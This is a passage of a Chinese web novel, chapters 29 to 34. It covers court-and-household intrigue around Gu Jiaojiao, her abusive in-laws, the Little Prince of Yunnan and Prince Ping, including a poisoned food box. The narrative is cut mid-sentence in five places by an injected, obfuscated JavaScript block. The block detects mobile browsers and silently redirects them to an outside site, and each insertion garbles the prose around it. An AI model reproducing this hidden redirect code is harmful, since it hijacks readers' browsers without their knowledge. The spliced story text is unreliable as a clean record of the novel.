众夫人一改先前对顾皎皎尖酸刻薄的形象,夸赞道:“三夫人真是德容兼备、兰心蕙性啊,安阳侯府得此佳媳,是安阳侯府的福气!” 她们又看向章氏与刘氏,啧啧两声道:“大夫人与二夫人穿的用的 发上插的皆非凡品,一看便价值不菲,若是下次还吃不饱饭,可典当了去,这样便可衣食无忧了。” “噗嗤。” 不知哪位夫人带头笑出声,在场众人也都笑了起来。 章氏与刘氏臊得慌,面色青白交加,愤恨的眼神直直射向顾皎皎。 顾皎皎回以灿烂一笑,她们赶忙低垂下头,随便找了个理由匆匆离去。 孙老夫人在一旁看着,脸色难看至极。 她不敢当众说顾皎皎,只得在夫人们三三两两散开后,才阴沉着脸将顾皎皎拽到一边。 顾皎皎的手被捏得生疼,她皱眉:“母亲,您这是做什么?” 她竟好意思问? 若老夫人咬牙切齿,手上越发用力:“你说我要做什么?你怎么就这般不安份,非要挑起事端你才开心吗?” “呸!当真是个商女,上不得台面的东西,协兆娶了你真是倒了八辈子血霉” 第二十九章 还会高看他一眼 骂完,孙老夫人仍不解气,她重重拧了顾皎皎手臂一下:“为了咱们安阳侯府的颜面,待会儿你务必去向众夫人解释一番。” 臂上传来疼痛感,顾皎皎掀开衣袖,那处果然青紫一片。 她反问道:“母亲,您要我去说什么?说您是如何将我手臂掐青的?” “休要瞎说!待会儿你与众夫人解释一下,说方才你所说之言都是虚的,全是因为嫉妒你大嫂与二嫂,凭空杜撰的!” 孙老夫人恶狠狠盯着顾皎皎,大有一副你胆敢不答应便有你好看的阵仗。 顾皎皎冷笑,这老虔婆是知晓软的不行,所以现在装也懒得装了? 可惜她的如意算盘注定打错! 她轻轻揉了揉手臂,淡声询问:“若我不愿呢?” “不愿?”孙老夫人拔高了声儿:“你若是不愿,协兆定不会原谅你,你就等着一纸休书滚回娘家吧!” 顾皎皎:竟然还有这种好事儿? 她巴不得早些与孙协兆断了联系,若是他当真就此休了她,那她还会高看他一眼。 可惜孙协兆惦记着她的嫁妆,绝不会就这样轻飘飘放自己离开,否则他回京第一日便会下了休书,而不是委屈心上人做见不得光的外室…… 见她久久没有答话,孙老夫人心中不虞:“你这是什么意思?我这个婆母说的话你竟敢不听?” “呸!商女便是商女,上不得台面便罢了,竟连话也听不懂!” 顾皎皎微微皱眉,正想给孙老夫人一点颜色瞧瞧,余光却忽的瞥见一抹绛紫色在自己身边站定。 鼻尖萦绕的淡淡乌沉香提醒着她身边人是谁,虽不知小云南王为何会出现,但如今情况于她有益。 顾皎皎心念微动,她低垂下眸子黯然道:“母亲,我知我出身低微,可我亦有心……您与大嫂二嫂为何这般三番两次给我难堪?” 孙老夫人暴躁:“不想难堪?那便……” 孙老夫人视线落在沈云祉身上,未出口的话瞬间卡在喉咙中,竟是一个字也说不出了。 沈云祉意味深长看了顾皎皎一眼,后才看向孙老夫人低声道:“老夫人,方才您说若是三夫人不想难堪应当如何?” “没……没什么……”孙老夫人结结巴巴:“不过是玩笑话罢了。” 沈云祉点头:“是玩笑便好,否则真是叫人贻笑大方。” 孙协兆走了过来:“小王爷,您的意思是?” 沈云祉微微一笑:“今日之事本王也算全程围观,且诸多夫人都已知晓来龙去脉,若真如老夫人说的那般,让三夫人推翻自己之前所说的话,不是上赶着将安阳侯府送去给人讲乐子吗?” “老夫人与贵府大夫人、二夫人一口一个商女低贱,本王以为也是不妥,士农工商,商的确排在末尾,可若是没有商人,京都便不会有这么多商铺,亦不会这般繁华。” 他将视线投向孙老夫人:“就如老夫人这头饰,如此精美绝伦之物,不也是商人从外贸易带回京都售卖的吗?” “尊贵如圣上、皇后,可皇宫中的贵人们,不也是由皇商提供一应物品吗?宫中的绸缎、织品,便是江南织造供应的,所以,我们又有什么资格瞧不起商人?” 孙老夫人脸色苍白了些,连连点头:“是是是,小王爷说得是,从前都是我们肤浅了,不过我们却是从来没有瞧不起皎皎之意……” “这件事老夫人应当心中有数。” 沈云祉面上笑容淡了些:“若是老夫人不想让安阳候经营了一辈子的名声付诸东流,日后还是莫要包庇犯错之人,反怪无错之人挑起事端了。” 孙老夫人面色黑沉,她心中一股火气无处发泄,小云南王这不是明晃晃的打她脸,说她偏心吗? 人心都是偏的,顾皎皎除了能给些钱财外,不能给协兆提供任何助力,既如此,她凭什么不能偏心? 况且,顾皎皎一介商女,能嫁到安阳侯府已是祖坟冒青烟,她又哪里不该感恩戴德? “做人不能既要还要,老夫人,您说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017244|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是吗?” 沈云祉的声音响起,孙老夫人如梦初醒,为了不得罪小云南王,她黑沉着脸点头:“王爷说得是!” 顾皎皎眨了眨眼,努力压制唇边笑意,不得不说,小云南王此举,大快人心。 在沈云祉处吃了憋,孙老夫人无可奈何,她瞪了顾皎皎一眼也匆匆离开宴席。 顾皎皎心情更加愉悦,她周旋在宴席中间与各位夫人结识,虽然她迟早要与孙协兆和离,可她并不打算离开京都,因此多多结识人脉还是十分必要的。 酒足饭饱后,顾皎皎独自一人前往后花园散步消食。 羊肠小径边上种满了各种各样的花,绿意盎然,小径到了底有一池湖水,湖中荷叶满园,各色荷花竞相开放。 顾皎皎眸底划过一抹惊艳,她伸手想抚摸荷花。 “顾夫人,你喜欢荷花?” 低沉的男声从身后传来,她惊呼了一声:“谁!” 蓦然转身,一身紫衣的沈云祉撞入视线,他许是喝了点酒,面颊上挂着两坨嫣红,仍旧俊美,却少了平日里的距离感。 顾皎皎收回手行了一礼后道 :“小王爷怎的喜欢悄无声息站在人身后?” 沈云祉挑眉:“本王正大光明过来的,哪里是悄无声息?” 顾皎皎无语,她侧过头赏荷不再说话。 “顾夫人便没有什么话想同本王说?”沈云祉走至她身旁,同她一同赏荷。 “小王爷的话,我不明白,你我并无交情,又哪里来的话要说?” 沈云祉笑了笑,她这是翻脸不认人?忘记了,没关系,他会出言提醒。 片刻后,他开门见山道:“方才你与孙老夫人显些起争执一事,你准备如何感谢我?” 什么?顾皎皎微抬眼睑,她险些以为自己听错了,这小云南王跟过来竟是讨要感谢来了? 心中升起一抹警惕,她淡声道:“那事就算小王爷您不出手,我也能解决,不过就是稍微多费些口舌罢了。” 第三十章 喜好不同 “是吗?” 沈云祉眸中笑意加深:“那便暂且不论今日席面上那事儿,本王且问你,今日将你带来国公府宴席一事儿,你准备如何报答本王?” 顾皎皎闻言越发警惕,心中笃定沈云祉必定有所图,她看了他一眼,大拇指轻轻摩挲着食指,片刻后她道:“自然是银钱报答。” 沈云祉:“若本王不要银钱呢?” 顾皎皎笑了笑,眼眸晶亮:“若王爷视金钱如粪土,那王爷便是好人,心善之下帮了我,想来心善之人亦不会做出挟恩图报之事吧?” 沈云祉觉得有被冒犯到,但心中却并不恼怒,反而觉得颇为有趣。 他轻笑一声避开了这个话题:“顾夫人还未告知本王是否喜欢荷花。” 顾皎皎:“自然是喜欢的,否则也不会被它吸引,在此驻足观赏。” 沈云祉弯了弯唇角:“京中贵女多喜牡丹、菊花等,顾夫人的喜好倒是不同。” “小王爷说了,是贵女喜欢牡丹、菊花。”顾皎皎清冷的眸光直直看向湖中央:“我不是贵女,喜好自然不同。” “小王爷既有兴致赏花,我便不打扰了,告辞。”说完,她行了一礼施施然离开。 沈云祉瞧着顾皎皎端庄的背影,眸中兴趣浓厚,能引得他三番两次破例,她倒是第一人。 转身的一瞬间,顾皎皎面上笑容消失殆尽,沈云祉忽然反常的举动让她感觉到了危险,罢了,日后见到他都绕路走便是。 待顾皎皎回了宴席,她才发现不知何时来了一名面生的中年男子,那男子身材高大,面容粗犷中带着些书生气,周身气势不凡,他坐在上方正与安国公相谈甚欢,一旁的大人们也时不时便会附和两句。 顾皎皎看了几眼便将自己隐藏在人群之中,那男子是何人不重要,反正与自己无关就是了。 中年男子本与国公爷交谈,当看到从外缓步进来的小云南王时,他的眼眸亮了亮。 男子站起身,三两步走到沈云祉跟前:“好侄儿,你的父王可是也到了京中?” 沈云祉行了一礼,他摇头:“父王并未一同到京,平王叔是何时从封地回的京城?” “自然是将将!”平王一甩衣袖坐到上方,身上带着一股子狂妄。 “将将?”沈云祉诧异:“那平王叔可否进宫去向皇上请安?若是未曾请安,怕是皇上心中不虞。” “请安?我做兄长的何需向幼弟请安?”平王笑容淡了些,锋利如刀的眼神直直扫向沈云祉,他冷笑:“好侄儿,数年不见拍须溜马的本事见长啊!” 平王此话一出,席间落针可闻,无人再敢说话,这话也是万万说不得的,谁人都知平王与当今圣上不睦,是以圣上一登基便将平王送到了最偏远的封地。 如今平王回京,上忽视天子,下嘲讽小云南王,自是无人敢搭腔。 平王见状越发得意,他高昂着头颅,用鼻孔对准沈云祉斥道:“你父王自小便爱钻研旁门左道,左右逢迎,如今你也学着你父王这般,搬弄那些上不得台面的门道,要我说,你干脆莫要回云南了,随我去边疆,好好磨炼磨炼你这幅小身板!” “你放心,我做长辈的定然不会藏私,你且随我去边疆一年,保准改掉你这一身上不得台面的习性!” 席间众人更不敢说话了,一个个将头颅埋得低低的。 顾皎皎在角落中饶有兴致打量这一幕,她的目光落在沈云祉额角凸起的青筋上。 哟,这是气急了?难得啊,有朝一日竟能瞧见小云南王这幅模样。 这幅场景可不比戏剧有趣多了吗? 顾皎皎忽觉口渴,她低头端起茶盏,一抬头却与沈云祉的视线撞了个正着。 她被吓了一跳,手一滑,茶盏从她手中滚落。 “哐当!”一声,原本不算大的声音在落针可闻的环境中被放大了无数倍。 一时间,所有人都看向发出声音的地方,顾皎皎反应极快,她忙蹲到桌子下方藏了起来,如今这剑拔弩张的气氛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017245|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若是让人瞧见自己,指不定得拿自己开刀缓解气氛! 沈云祉将一切尽收眼底,心中的怒火竟奇迹般消散了不少,袖下紧握成拳的手缓缓松开。 他看着平王笑了笑,既然你自讨苦吃,那就别怪他不顾血脉亲情下你的面子了。 沈云祉恢复了平常模样,唇边笑意加深,他道:“平王叔的好意,我引领了,只是我的母妃自小便叮嘱我,此生莫要踏足边疆。” 平王:“为何?本王看云南王妃就是无病呻吟,边疆怎么了?我瞧着边疆比京城,比云南好了不知几万倍!” “是吗?”沈云祉嗤笑:“既然边疆这般好,那平王叔又为何一月一封信件递给皇上,要求他给你换个封底?” “你怎么知……” “胡说!我何时说过要换封地?”平王赶忙改口,气得面红耳赤:“皇上竟然什么都告知你?” 平王看向沈云祉的目光警惕起来,外面都传闻说皇上最有意传位与云南王,原本他是不信的,毕竟他是长子,当年父皇越过他传位给老二,已然是对不起他,如今皇上若要传位,怎么也该传给自己! 可如今,皇 上连自己的信件都要给云南王的儿子看,看来传言八九不离十…… 平王看向沈云祉的眼神少了轻蔑多了忌惮。 沈云祉权当没看到,他道:“我母妃可不是无病呻吟,母妃说,她嫁予父王之时曾从边疆路过,边疆人茹毛饮血、粗鄙不堪,眼中没有礼义廉耻,若我去往边疆,恐我染上不该染的习性……” 说完,他似笑非笑看了平王一眼:“平王叔,您也要注意些,莫要沾染了无礼、粗鄙的习性才是啊!” 宴席上的大人们险些跪下,这是他们该听的吗? 平王面色忽青忽白,这乳臭未干的臭小子,竟敢骂他无礼粗鄙! 若是换了旁人,他定然不会轻易放过,可偏偏他是沈云祉,碰不得,他的母亲云南王妃母族强势,若是碰了他,怕是吃不了兜着走! 第三十一章 有惊无险 皇上如今膝下无子,虽说是有意禅位于其他王爷,可到底还是在争,不过没有浮于表面罢了。 云南王妃出身于百年世家大族恒氏,且是嫡女,恒氏昌盛百年,对朝堂影响极大。 可以说是牵一发而动全身,虽云南王妃恒姬嫁给了云南王,可她的母族却是保持中立态度。 沈云祉是恒姬与云南王唯一的儿子,深受恒氏当家人恒信的喜爱。 恒信是个护短的,他如今并无子嗣,将妹妹的儿子视若亲生。 若是让他知晓自己动了沈云祉,怕是恒氏便不会保持中立态度…… 视线与沈云祉撞上,平王气得咬牙切齿却还要故作平静。 “这些事情不劳你操心,本王吃的盐比你走过的路都多,倒是你,二十好几了,府中怎的一名姬妾也无?可是有何隐疾?” 平王好似找回了些场子,心情好了些,他愉悦道:“本王身边有一大夫,医术十分高超,且让他给你瞧瞧可好?云南王只你一个子嗣,莫要他这一脉断子绝孙了才好!” 断子绝孙? 沈云祉轻笑,笑容中带着淡淡讥讽之意。 平王眯眼:“你笑是何意?” “没有,我只是觉得平王叔太过关心小辈罢了。” 沈云祉面上笑容深了几许:“我以为,弱水三千,只取一瓢饮便好,就如我的父王母妃一般。” “况且……” 他看了一眼平王:“您府中姬妾到多,怎的就一个子嗣也无?若是您身边那位大夫当真有真本事,想来明年也该听听平王府的喜讯了。” 沈云祉掸了掸衣袖上不存在的灰尘,他淡声道:“我还有事,便先行告辞了。” 说完,他一甩衣袖,快步离开。 平王端坐在国公爷身旁,一双眸子黑沉沉的,内里全是晕不开的怒气。 沈云祉竟敢拿子嗣嘲讽他! 且等着吧,终有一日他会将今日之事千倍百倍还至他身! 越想越愤怒,他猛地将一盏茶摔在地上。 清脆的碎裂声传来,在场的大人们皆诚惶诚恐跪倒在地:“平王息怒!” 顾皎皎见状趁乱离开。 平王此人她虽未曾见过,但其秉性多有耳闻,因着是先皇长子,是以自视甚高,与当今皇上关系并不融洽。 早年便是自私冷血的性子,这到边疆待了这许久,想来更加暴戾。 为了自己的小命,她还是莫要看这后续热闹为好。 待她回到皎月阁时,天色已然黑尽。 莺儿有些后怕,她拍了拍胸脯,松了口气:“孙府这一大家子都是坏种,幸好今日有惊无险度过了,没让她们如意!” 顾皎皎勾唇:“可不是有惊无险吗?不止有惊无险,还看了一出大戏呢,你瞧方才孙协兆在席间左右奉承的模样,显然是想两边讨好,估计当他看到平王与小云南王针锋相对后肠子都悔青了。” 莺儿噗嗤一笑:“姑娘,实不相瞒,看孙三这般,奴婢心里十分高兴。” 想到了什么,她忽的压低声儿:“对了姑娘,王吉让人带了话。” 顾皎皎:“他说什么?” “王吉说,徐青青处这段时日都十分安份,也并未瞧见什么可疑行为,要不要稍稍放松一些,不必盯这么紧?” “当然不行。”顾皎皎一口否决:“这段时日安份也并不能代表什么。” 她勾了勾唇角:“况且还有旧恨未与她结算,就这样放过她算什么?况且越是风平浪静之时,越是暗流涌动,去告诉王吉,务必盯紧她,任何风吹草动都不能放过!” “是,姑娘。”莺儿领命离开。 平王与小云南王之前远在封底。 此次进京是奉旨为太后贺寿,这都可理解,但是徐青青呢? 想到那日在第一楼瞧见的,顾皎皎眯了眯眼。 徐青青与小云南王、孙协兆等人同时进京,她若单纯是孙协兆的外室,小云南王又为何会避开孙协兆与她单独见面? 她与小云南王又是何关系? 一颗脑袋鬼鬼祟祟在院外往里瞧,顾皎皎思绪被打断, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秋容面上笑容僵住,徒手拔刺?那等她拔完一百朵刺玫花,她的手还能看吗? 顾皎皎抬眸,似笑非笑:“怎么,你不愿意?” 秋容感觉都快哭了,却只能强颜欢笑:“奴婢愿意!” 第三十二章 狗咬狗 “只要是姑娘喜欢的,便是要了奴婢的命,奴婢也是愿意的,不过就是手被扎伤罢了,奴婢承受得住。” 秋容边说边看主子的神色,她的话中确有卖惨的成份,姑娘最是心软,指不定听着听着便会改了主意。 顾皎皎没错过秋容眼中的希冀,她觉得颇为可笑。 所以,从前这些人都是知晓她的性格的。 这才理所当然地用她的善来化作刺她的刀,这孙府众人如此,秋容也是如此。 不过这次,她的希望注定落空。 顾皎皎权当没听见没看见,端起茶盏品起茶来。 秋容不甘心,她咬了咬牙:“姑娘,您的茶水可要奴婢再添些?” 顾皎皎眼也未抬:“在其位谋其职,秋容,你现在是花房的布衣丫鬟,管好花花草草便是,莺儿自会将照顾我的一应事宜处理妥当。” “是,姑娘,那奴婢这便去准备花。”秋容心中不满,却也只能隐忍不发离开。 国公府一事,孙老夫人回府后越想越觉得气恼,屋中花瓶不知砸碎了多少。 宋嬷嬷不敢上前拦,只能劝慰:“老夫人,您又何必和这些花瓶置气呢,冤有头债有主啊!” 孙老夫人气急:“冤有头债有主?那冤债可是小云南王,我不在屋中砸些花瓶置气,难不成还能将小云南王收拾一顿?” 宋嬷嬷沉默,小云南王何等尊贵,供起来人家都不一定愿意,若是真不知天高地厚去得罪他,怕是孙府的天就要塌了! 噼里啪啦的声音再次传来,宋嬷嬷这才又道:“可是老夫人,小云南王终究是为了给三夫人说话,是以才会在大庭广众之下说出那般另您难堪的话来……” 孙老夫人停下手中动作,她犹豫道:“可是若我们收拾顾皎皎,小云南王知道了,怕会觉得我未曾将他的话放在心中……” 宋嬷嬷左右瞧了瞧,这才低声道:“老夫人您糊涂,何必明目张胆呢?能明着收拾,自然也能暗着收拾……” 孙老夫人眼眸一亮,连说了数个好。 翌日。 顾皎皎在皎月阁院中石桌上看书,宋嬷嬷提着一盒糕点走了进来。 “三夫人,小厨房做了些甜口的小点心,老夫人命奴婢给您送过来。” 那老虔婆竟会这般好心? 顾皎皎抬眸,视线落在宋嬷嬷手中的食盒上,见她手掌用手绢包裹着,她问道:“宋嬷嬷,你这手是怎么了,怎的还用手帕包着?” 宋嬷嬷笑了笑:“回三夫人,奴婢昨日烧热水时不小心被烫了,为了不污您的眼,所以才用手帕包着。” 被烫了?怕是这食盒上不知加了什么狠毒玩意吧! 顾皎皎心中门清,面上却古井无波,她微微点头:“行,放这儿吧,我待会儿再尝尝。” 宋嬷嬷却不依,她笑着道:“三夫人,此物是老夫人的心意,应当是您亲手接住才好,想必您也不愿让旁人说您不懂礼数吧?” 顾皎皎:“那是自然。” 她侧面对莺儿道:“你且去将秋容找来,让她带些处理好的刺玫花。” 宋嬷嬷皱眉:“三夫人,您这是何意?老夫人给您的点心,您是接还是不接?” 顾皎皎唇边漾起笑意:“不是嬷嬷你说的,不能不懂礼数吗?母亲给了我这些个点心,我自然得回礼才是,刺玫花香味扑鼻,你带回去给母亲插在房中,整日瞧着心情也好。” 宋嬷嬷还想说什么,秋容和莺儿抱着花走了进来。 见到宋嬷嬷,她有些诧异,却还是很快处理好情绪,不过一日,秋容那双白皙纤细的手上布满了鲜红的口子,深的浅的都有。 顾皎皎见状颇为满意,她道:“你且拿些花给宋嬷嬷,此外,将宋嬷嬷手中的东西接着,我的手方才练字时沾了墨,若是将吃食弄脏,那可就得不偿失了。” 难得见主子和颜悦色,秋容更加急切的想表现自己,她眼疾手快将宋嬷嬷手中的食盒接过。 企料刺玫花还未递过去,秋容猛的尖叫一声,食盒哐当一声滚落在地,就连她辛辛苦苦准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017247|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备的玫瑰也一应掉落在地。 顾皎皎皱眉,语气不悦:“不过是叫你接一下食盒罢了,怎的就这么大的怒气?竟将母亲的心意给摔了!” 这食盒上竟是放了腐蚀肌肤的毒药! 秋容赶忙跪下,本就带着伤口的掌心灼痛感格外清晰。 一阵一阵的,比千万只蚂蚁撕咬都更加疼痛,可她纵然面色惨白,确是一个字也不敢说。 食盒是老夫人准备的,若是她将自己丢下食盒的真相说出,姑娘必定与老夫人反目,自己也会将老夫人得罪个透彻…… 所以这个哑巴亏只能她自己吃下! 秋容心中咒骂孙老夫人与宋嬷嬷,面上因疼痛也涌出泪来,她忙哭着解释道:“姑娘,奴婢没有,奴婢手被刺玫花扎伤了,所以才没提稳食盒……” 顾皎皎又哪里肯听她解释,她皱眉挥手:“好好的兴致都被你给败坏了,罢了,你们都出去吧,我想一个人待会儿。” 她下起了逐客令,莺儿赶忙将宋嬷嬷与秋容给请出院子。 二人在院外面面相觑,事情未成,宋嬷 嬷无法交差,对秋容怨气极大,她骂道:“真是成事不足败事有余,你怎的手脚便这般快,就将食盒接过去了?” 秋容不服气,却也不敢顶嘴,只道:“嬷嬷,下次您与老夫人若有行动烦请告知一声。” 宋嬷嬷睨她一眼,并未说话,心中却是不屑至极,她算个什么东西,竟也敢提这种要求? 老夫人若不是看她还有些许作用,早就将她给处置了! “罢了,隔墙有耳,我先回去给老夫人交差。” 宋嬷嬷说完便先行离开。 院内,莺儿从门上离开,她看着顾皎皎笑了笑:“姑娘,方才她们差点狗咬狗了,可惜宋嬷嬷及时清醒过来。” 顾皎皎:“迟早狗咬狗,不急。” “对了,你去告诉院里所有人,若是秋容借金疮药,便都给推了。” 莺儿忙点头应下,姑娘总算是不手下留情了! 第三十三章 听天由命 顾皎皎见莺儿似乎十分高兴,她道:“不过是不给秋容金疮药罢了,她至多也不过手变得难看一些,你怎的比发卖了她还高兴?” 莺儿:“奴婢自然高兴了,姑娘,您不知道,她平日里就爱晃悠她那双爪子,从今往后,我看她还怎么晃!” 这事儿顾皎皎是知道的,她看了眼自己肤若凝脂的手,从前秋容贴身伺候时,最常做的便是侍奉她进行手部保养,是以,平日里她也会偷着给自己护手,从前想着她毕竟是从顾府出来的,便也就睁一只眼闭一只眼了。 可如今她背叛了自己,那她从自己这里偷来的,自然也得毁掉! 顾皎皎微微一笑:“日后她的手,怕是难以见人了。” “对了,王吉那边可从徐青青查探到什么动静?” 莺儿收起面上笑意,正色道:“王吉说那徐青青没什么动静,不过却有一名中年男子去瞧了她。” “中年男子?”顾皎皎拧眉:“难道徐青青除了做孙协兆外室,还与其他男人有纠葛?” 不过转瞬,顾皎皎便将这个想法给否决了,徐青青认识小云南王,身份应当不俗,即是身份不俗之人又岂会这般不爱惜羽毛? 沉吟片刻后,她道:“王吉可说了那名中年男子有何特征?” 莺儿扶额想了想,片刻后才道:“王吉提了一嘴,他说那男子长得特别高大,肤色是小麦色的,看他的穿着应当是非富即贵之人。” “非富即贵?”顾皎皎皱眉:“徐青青才来到京中,除了小云南外,应当不会认识什么非富即贵之人。” 猛的,顾皎皎回想起昨日初见平王的模样,竟与王吉所说十分对得上,她犹豫道:“难道王吉口中的非富即贵之人是平王?” 莺儿也曾见过平王,闻言她也比对了一番,果然发现王吉说的那人与平王高度吻合。 “姑娘,若真是平王可如何是好?” “是又如何?”顾皎皎抬眸:“平王除了身份尊贵一些外,其他的又与旁人有何异?” “你且让王吉找人仔细查查,看平王与徐青青究竟是何关系。” “是,姑娘。”莺儿奉命离开。 驿站 双剑拱手道:“小王爷,顾夫人如今已然大致猜出了去看望徐青青之人是平王,她让人继续探查平王与徐青青的关系,可要帮忙拦着些?” “为何要拦着?”沈云祉反问:“你莫不是忘了,本王前两日才与平王叔生了龃龉。” 双剑摸不准主子的意思,他低头请示:“那小王爷您的意思是?” 沈云祉勾唇:“咱们自然得帮帮顾夫人。” 孙府 秋容将皎月阁中的人找个了遍,也没找到一盒可以用的伤药,原本那些丫鬟小厮便对秋容从前的作威作福颇为不满,如今见她落魄,不少人还落井下石了一番。 眼见着时日拖得越久,她手上伤口便越严重,秋容终归是坐不住了,她避开所有人求到了孙老夫人跟前。 “老夫人,求您给奴婢一盒伤药吧,您看奴婢这手,若是没有伤药,怕是双手要不了多久便会坏死!” 秋容哭着磕头,那可怜的模样真是闻者伤心见者流泪。 孙老夫人端坐在上方,她的视线在秋容溃烂发脓的手上转了转,眸中流露出一丝厌恶。 许是觉得秋容的手脏了自己的眼,孙老夫人别开视线,她冷声道:“你坏了我的好事儿,竟也好意思来求药?” 秋容连连磕头:“老夫人明察,奴婢真的不知您与宋嬷嬷当日的计划,全是阴差阳错啊!” “阴差阳错?” 孙老夫人显然对这个解释不满,她嗤笑:“即是阴差阳错,那你这手也应当听天由命才是,有跑到我这里来求什么?” 看出孙老夫人不愿帮自己,秋容心中凉透,她知道,老夫人是她没有价值。 可若是老夫人也不管她,那她的手便只能就此废了! 不行,她绝不能就这样认命,秋容一咬牙:“老夫人,若是您不愿意帮助奴婢,奴婢只能去求姑娘了,她若是问我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017248|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手……” 老夫人瞪大了眼:“你这贱婢,你竟敢威胁我?” 秋容忙解释:“老夫人,奴婢绝无威胁您之意,只是奴婢才发现了一些线索,若是双手就这样废了,日后定然无法在皎月阁伺候,老夫人若要重新安插一人进皎月阁,不仅劳心费力,且不如我得姑娘信任!” 孙老夫人深知秋容所说十分有理,可她就是忍不了这贱婢坏她事儿这茬,若不是她,那今日手烂之人便是顾皎皎,那样也算出了一口恶气! 见孙老夫人久久没说话,宋嬷嬷在一旁小声提醒:“老夫人,她说得不无道理,不若奴婢去将解药给她?” “不行!”老夫人一口回绝,她总觉得这般太过便宜那贱婢。 片刻后,她才居高临下看着秋容道:“你且先回皎月阁,待会儿我让人将解药给你送过来。” 秋容以为她想通了,忙感恩戴德:“多谢老夫人,奴婢定然尽快完成您的吩咐!” 孙老夫人不耐摆手:“你心中有数便好。” 秋容离开后,宋嬷嬷询问道:“老夫人,那奴婢现在便去 取解药命人给秋容送去?” 孙老夫人点头,她眸中划过一抹狠毒:“送过去吧,不过得在解药中加些东西。” “加何物?” 孙老夫人附在宋嬷嬷耳边悄声吩咐了几句。 皎月阁 莺儿将拦下的解药呈到顾皎皎面前:“姑娘,这是老夫人那边命人给秋容送来的,她将东西放在平日交头之处,奴婢稍稍给拿了回来。” 顾皎皎点头,她接过瓷瓶将解药凑在鼻边嗅了嗅。 莺儿一眨不眨看着:“姑娘,您可是有什么发现?” 顾皎皎顿了片刻,眸中快速划过一抹情绪,她将瓷瓶递到莺儿鼻边:“你闻闻。” 莺儿轻轻吸鼻,不过片刻她捂住口鼻:“姑娘,这味道好怪,闻起来有股药味,又有些咸咸的,十分令人作呕。” “确实是咸咸的。”顾皎皎嘲讽一笑。 第三十四章 心上人 “这孙家一大家子都是上梁不正下梁歪,一家子都狠毒到一处去了,也不知秋容终有一日会不会后悔当日背叛我。” 她将瓷瓶盖上,轻轻叹息:“老夫人也是知晓如何折磨人的,明知秋容的手已经溃烂发脓,却在解药中放入食盐,若是秋容想要手的伤口愈合,那便必得忍受食盐触碰伤口的锥心疼痛。” “上一次药,便疼一次,兴许等她手好了,心中也得落下阴影。” 莺儿闻言沉默,她低下头久久未言。 她是怨恨秋容不顾情分背叛姑娘不假,可同为女子,同为下人,她却十分同情秋容的遭遇。 顾皎皎轻轻拍了拍她的背:“若是实在不忍心,那便将解药换了吧。” 莺儿摇头:“姑娘,这是她应得的报应,她既选了老夫人做主子,那无论老夫人怎么对她,她都应受着……” 说完,她将瓷瓶合上,放回原处。 夜间,下人房中传来一阵阵隐忍的抽泣声…… 第二日清晨,顾皎皎正对镜梳妆,莺儿火急火燎跑进寝屋。 她皱眉:“怎么了?倒是难得见你这般着急。” 莺儿眼眸晶亮,她从怀中掏出一封信件递给顾皎皎:“姑娘,这是那厨娘替徐青青送夜宵时在书房发现的,她等书房无人之时去偷偷拿了出来。” 顾皎皎接过信封,沈郎亲启几字映入眼帘。 她眉心一跳,三两下将信封拆开查看,信中不乏谈情说爱之词,但大多都是讲述这女子对这沈郎的思念之情。 读毕,她将信件塞回信封。 莺儿忙问道:“姑娘,信中可有什么发现,沈郎亲启,沈郎是谁?” 顾皎皎将信件放置在桌上,她轻轻摇头:“信中只写了沈郎,未写全名,是以并没发现什么。” “沈是国姓,这沈郎的范围说大不大,说小也不小。”她看向院中的绒花树,眉目清冷:“平王当得沈郎,小云南王亦当得沈郎,甚至当今圣上也能是沈郎……” 莺儿:“可奴婢觉得沈郎是平王的概率更大,毕竟平王曾去找过徐青青。” 